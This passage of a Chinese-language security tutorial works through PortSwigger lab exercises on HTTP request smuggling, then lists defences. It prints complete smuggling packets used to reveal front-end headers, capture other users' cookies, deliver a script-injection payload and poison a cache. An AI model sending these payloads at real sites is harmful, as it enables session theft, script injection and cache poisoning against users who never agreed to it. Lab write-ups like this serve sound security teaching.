- 然后走私這一個請求,然后直接發送一個普通的請求,前端服務器對這個請求重寫的一些字段就會顯示出來。
怎么理解呢,還是做一下實驗來一起來學習下吧。
實驗的最終目的還是刪除用戶 carlos。
我們首先進行第一步驟,找一個能夠將請求參數的值輸出到響應中的POST請求。
在網頁上方的搜索功能就符合要求

構造數據包
POST / HTTP/1.1
Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Type: application/x-www-form-urlencoded
Cookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLA
Content-Length: 77
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 70
Connection: close
search=123
多次請求之后就可以獲得前端服務器添加的請求頭

這是如何獲取的呢,可以從我們構造的數據包來入手,可以看到,我們走私過去的請求為
POST / HTTP/1.1
Content-Length: 70
Connection: close
search=123
其中Content-Length的值為70,顯然下面攜帶的數據的長度是不夠70的,因此后端服務器在接收到這個走私的請求之后,會認為這個請求還沒傳輸完畢,繼續等待傳輸。
接著我們又繼續發送相同的數據包,后端服務器接收到的是前端代理服務器已經處理好的請求,當接收的數據的總長度到達70時,后端服務器認為這個請求已經傳輸完畢了,然后進行響應。這樣一來,后來的請求的一部分被作為了走私的請求的參數的一部分,然后從響應中表示了出來,我們就能獲取到了前端服務器重寫的字段。
在走私的請求上添加這個字段,然后走私一個刪除用戶的請求就好了。

5.3 獲取其他用戶的請求
在上一個實驗中,我們通過走私一個不完整的請求來獲取前端服務器添加的字段,而字段來自于我們后續發送的請求。換句話說,我們通過請求走私獲取到了我們走私請求之后的請求。如果在我們的惡意請求之后,其他用戶也進行了請求呢?我們尋找的這個POST請求會將獲得的數據存儲并展示出來呢?這樣一來,我們可以走私一個惡意請求,將其他用戶的請求的信息拼接到走私請求之后,并存儲到網站中,我們再查看這些數據,就能獲取用戶的請求了。這可以用來偷取用戶的敏感信息,比如賬號密碼等信息。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
實驗的最終目的是獲取其他用戶的Cookie用來訪問其他賬號。
我們首先去尋找一個能夠將傳入的信息存儲到網站中的POST請求表單,很容易就能發現網站中有一個用戶評論的地方。
抓取POST請求并構造數據包
POST / HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 267
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 400
csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment=
這樣其實就足夠了,但是有可能是實驗環境的問題,我無論怎么等都不會獲取到其他用戶的請求,反而抓了一堆我自己的請求信息。不過原理就是這樣,還是比較容易理解的,最重要的一點是,走私的請求是不完整的。

5.4 利用反射型XSS
我們可以使用HTTP走私請求搭配反射型XSS進行攻擊,這樣不需要與受害者進行交互,還能利用漏洞點在請求頭中的XSS漏洞。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
在實驗介紹中已經告訴了前端服務器不支持分塊編碼,目標是執行alert(1)
首先根據UA出現的位置構造Payload

然后構造數據包
POST / HTTP/1.1
Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>#
Content-Type: application/x-www-form-urlencoded
此時在瀏覽器中訪問,就會觸發彈框

再重新發一下,等一會刷新,可以看到這個實驗已經解決了。
5.5 進行緩存投毒
一般來說,前端服務器出于性能原因,會對后端服務器的一些資源進行緩存,如果存在HTTP請求走私漏洞,則有可能使用重定向來進行緩存投毒,從而影響后續訪問的所有用戶。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
實驗環境中提供了漏洞利用的輔助服務器。
需要添加兩個請求包,一個POST,攜帶要走私的請求包,另一個是正常的對JS文件發起的GET請求。
以下面這個JS文件為例
/resources/js/labHeader.js
編輯響應服務器

構造POST走私數據包
POST / HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net
Content-Length: 10
123
然后構造GET數據包
GET /resources/js/labHeader.js HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Connection: close
POST請求和GET請求交替進行,多進行幾次,然后訪問js文件,響應為緩存的漏洞利用服務器上的文件。

訪問主頁,成功彈窗,可以知道,js文件成功的被前端服務器進行了緩存。

6. 如何防御
從前面的大量案例中,我們已經知道了HTTP請求走私的危害性,那么該如何防御呢?不針對特定的服務器,通用的防御措施大概有三種。
- 禁用代理服務器與后端服務器之間的TCP連接重用。
- 使用HTTP/2協議。
- 前后端使用相同的服務器。
以上的措施有的不能從根本上解決問題,而且有著很多不足,就比如禁用代理服務器和后端服務器之間的TCP連接重用,會增大后端服務器的壓力。使用HTTP/2在現在的網絡條件下根本無法推廣使用,哪怕支持HTTP/2協議的服務器也會兼容HTTP/1.1。從本質上來說,HTTP請求走私出現的原因并不是協議設計的問題,而是不同服務器實現的問題,個人認為最好的解決方案就是嚴格的實現RFC7230-7235中所規定的的標準,但這也是最難做到的。
參考鏈接
- https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
- https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1048/
暫無評論